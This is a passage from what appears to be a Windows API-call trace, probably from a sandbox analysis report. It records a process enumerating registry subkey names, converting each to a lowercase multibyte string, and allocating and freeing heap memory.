(HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.871] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x21eb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.871] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x21eb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.871] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x21eb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x21ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0038.871] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.871] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.872] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x21eb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x21ec120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.872] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x21eb930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x21ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.872] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x21eb930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.872] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x21eb930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0038.872] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.872] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.872] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x21eb930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.873] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x21eb930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x21ec0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.873] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x21eb930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x21ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.873] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.873] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x21eb930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.873] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.874] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x21eb930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x21ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.874] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x21eb930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.874] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x21eb930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x21ec120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.874] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.874] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x21eb930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.874] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x21ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.875] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x21eb930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x21ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.875] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x21eb930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.875] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebbb8) returned 1 [0038.875] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x21eb930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ebbb8 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.875] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x21ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0038.875] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x21eb930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0038.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x21ec0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0038.875] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x21eb930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x21ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x21eb930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x21ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x21eb930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x21ec120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0038.876] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x21eb930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0038.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0038.876] WideCharToMultiByte (in: 